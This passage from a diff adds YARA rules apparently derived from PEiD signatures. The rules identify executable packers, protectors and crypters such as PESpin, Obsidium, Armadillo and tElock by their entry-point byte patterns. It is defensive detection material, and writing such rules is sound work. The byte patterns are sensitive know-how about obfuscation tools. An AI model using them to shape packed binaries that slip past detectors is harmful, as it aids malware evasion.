+		$2 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SVK_Protector_132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector 1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V1304__cyberbob____20080310_
+{
+	meta:
+		description = "PESpin V1.304 -> cyberbob   * 20080310"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? EB 01 ?? EB 0D ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB ?? ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 ?? ?? ?? ?? EB 06 ?? ?? ?? ?? ?? ?? F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_071__074_COM_
+{
+	meta:
+		description = "aPack 0.71 - 0.74 [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 9B 01 BF 00 01 50 57 FC B6 01 BD 7C 01 FF D5 73 5C FF D5 73 1C FF D5 73 3E BB 93 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 B1 01 85 DB 75 35 93 EB 37 E8 47 00 49 49 75 0A 2E 8B 1E 00 01 E8 3B 00 EB 21 49 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_v405_v406_
+{
+	meta:
+		description = "EXEPACK v4.05, v4.06"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+		$1 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_v1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+		$1 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+		$2 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_032a_fake_EXE32Pack_13x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake EXE32Pack 1.3x) -> emadicius"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SA2_Adlib_Module_music_file_
+{
+	meta:
+		description = "SA2 Adlib Module music file"
+	strings:
+		$0 = {53 41 64 54}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_02_
+{
+	meta:
+		description = "Unknown packer (02)"
+	strings:
+		$0 = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_20betastudent_version__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.0beta/student version -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v251__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v2.51 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XMI_music_file_
+{
+	meta:
+		description = "XMI music file"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 58 4D 49 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_v6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory v6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 40 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 E6 0F 00 00 FF 15 10 61 40 00 A3 40 8E 40 00 E8 A4 0E 00 00 A3 90 89 40 00 E8 4D 0C 00 00 E8 8F 0B 00 00 E8 22 FE FF FF 89 75 D0 8D 45 A4 50 FF 15 0C 61 40 00 E8 20 0B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 08 61 40 00 50 E8 5A E9 FF FF 89 45 A0 50 E8 10 FE FF FF 8B 45}
+		$1 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE2COM_With_CRC_check_
+{
+	meta:
+		description = "EXE2COM (With CRC check)"
+	strings:
+		$0 = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_099_COM_
+{
+	meta:
+		description = "HackStop 0.99 [COM]"
+	strings:
+		$0 = {50 B4 30 CD 21 86 E0 3D 00 03 73 02 CD 20 EB 02 53 8F 50 55 52 8C D2 FA 50 B8 EB 04 58 EB FB 9A 8C C8 8E D0 EB 02 69 8F 8B EC BC 03 00 2E 85 06 D8 F6 B8 EB 03 EB FC EA 83 FC 03 74 02 FA F4 2E 85 06 EA F6 B8 EB 03 EB FC EA 33 C0 FA 8E D0 BC}
+	condition:
+		$0 at entrypoint
+}
+rule _Safengine_Shielden_v2160_
+{
+	meta:
+		description = "Safengine Shielden v2.1.6.0"
+	strings:
+		$0 = {E8 1C 00 00 00 53 61 66 65 6E 67 69 6E 65 20 53 68 69 65 6C 64 65 6E 20}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_310_
+{
+	meta:
+		description = "Armadillo 3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_118_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+		$1 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MoleBox_2xx__Mole_Studio_
+{
+	meta:
+		description = "MoleBox 2.x.x -> Mole Studio"
+	strings:
+		$0 = {60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 8C 36 00 00 E9 A0 36 00 00 E9 9B 36 00 00 E8 4A FF FF FF 79 ?? ?? ?? ?? ?? ?? ?? 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _KenPack_V0X__CHKenCom__20080108_
+{
+	meta:
+		description = "KenPack V0.X -> CHKen.Com * 20080108"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E9 ?? FF FF FF 50 50 FF 35 ?? ?? ?? ?? E9 ?? FF FF FF FF 25 ?? ?? ?? ?? FF 25}
+	condition:
+		$0 at entrypoint
+}
+rule _TElock_v098b1Modifly_by_forgothexer_
+{
+	meta:
+		description = "TElock v0.98b1<->Modifly by forgot/hexer"
+	strings:
+		$0 = {9C 6A 03 73 0B EB 02 75 75}
+	condition:
+		$0 at entrypoint
+}
+rule _ass__crypter__by_santasdad_
+{
+	meta:
+		description = "ass - crypter -> by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+		$1 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMProtect_07x__08__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.7x - 0.8 -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+		$1 = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi DLL"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SND_music_file_
+{
+	meta:
+		description = "SND music file"
+	strings:
+		$0 = {00 00 F8 2A ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v05__Smoke_
+{
+	meta:
+		description = "EXE Shield v0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_076__Hying_CCG_
+{
+	meta:
+		description = "Hying's PE-Armor 0.76 -> Hying [CCG"
+	strings:
+		$0 = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_V098_Special_Build__forgot__heXer_
+{
+	meta:
+		description = "tElock V0.98 Special Build -> forgot & heXer"
+	strings:
+		$0 = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v254__Teggo_
+{
+	meta:
+		description = "MoleBox v2.5.4 -> Teggo"
+	strings:
+		$0 = {00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$1 = {00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Trainer_Creation_Kit_5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit 5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield 3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+		$1 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+		$2 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PE_Spin_v04x_
+{
+	meta:
+		description = "PE Spin v0.4x"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D}
+		$2 = {EB 01 68 60 E8 00 00 00 00 8B}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _TPack_05m1_
+{
+	meta:
+		description = "TPack 0.5?-m1"
+	strings:
+		$0 = {68 00 01 FD 60 BE 00 00 BF D3 FF B9 00 00 F3 A4 8B F7 BF 00 01 FC 46 E9 8E FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCknt_201_
+{
+	meta:
+		description = "PELOCknt 2.01"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD 20 EB 60 EB 03 CD 20 03 E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 04 CD EB 03 CD EB 02 CD 20 EB 03 CD 20 EA FC EB 03 CD 20 69 E8 00 00 00 00 EB 02 EB 01 EB 01 EB 5E EB 03 CD 20 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtectionV1701__CGSoftLabs__20090606_
+{
+	meta:
+		description = "eXPressor.Protection.V1.7.0.1 -> CGSoftLabs * 20090606"
+	strings:
+		$0 = {C3 EB 01 ?? 55 8B EC 83 EC 0C 53 56 57 EB 01 ?? 83 ?? ?? ?? ?? ?? ?? 74 08 EB 01 ?? E9 56 01 00 00 EB 02 ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? EB 02 ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 ?? EB 02 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 EB 01 ?? 83 65 F8 00 EB 07 8B 45 F8 40 89 45 F8 83 7D F8 61 73 1F EB 02 ?? ?? 8B 45 F8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 01 EB EB ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 83 C4 10 89 45 F4 EB 02 ?? ?? 83 7D F4 00 75 0A 6A 00 A1 ?? ?? ?? ?? FF 50 14 EB 01 ?? F3 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 45 FC 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 F4 E8 01 00 00 00 81 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _GLBS_Install_Stub_32bit__Wise_
+{
+	meta:
+		description = "GLBS Install Stub 32-bit -> Wise"
+	strings:
+		$0 = {55 8B EC 81 EC 2C 05 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 54 40 40 00 FF 15 50 40 40 00 8B F8 89 7D F4 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D F4 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D F4 EB EF 80 3F 22 75 04 47 89 7D F4 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D F4 53 FF 15 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_v2460__Jitit_
+{
+	meta:
+		description = "Thinstall v2.460 -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+		$1 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _File_Analyser_14_Encryptor_
+{
+	meta:
+		description = "File Analyser 1.4 Encryptor"
+	strings:
+		$0 = {B9 00 00 B3 00 33 D2 BE 00 00 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_116_
+{
+	meta:
+		description = "Trap 1.16?"
+	strings:
+		$0 = {8C D0 BB 99 CB 90 8E D3 33 DB 8E D0 8B C3 EB 0F 90 66 0F BD C3 0F 06 66 0F BD C3 66 0F BC C3 B9 7D 04 EB 03 90 CD 20 E2 F9 33 D2 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0E 90 90 83 C1 FE 83 C2 01 EB EB EB FE CD 78 0F 21 E9 0F 21 DB 66 03 CB}
+	condition:
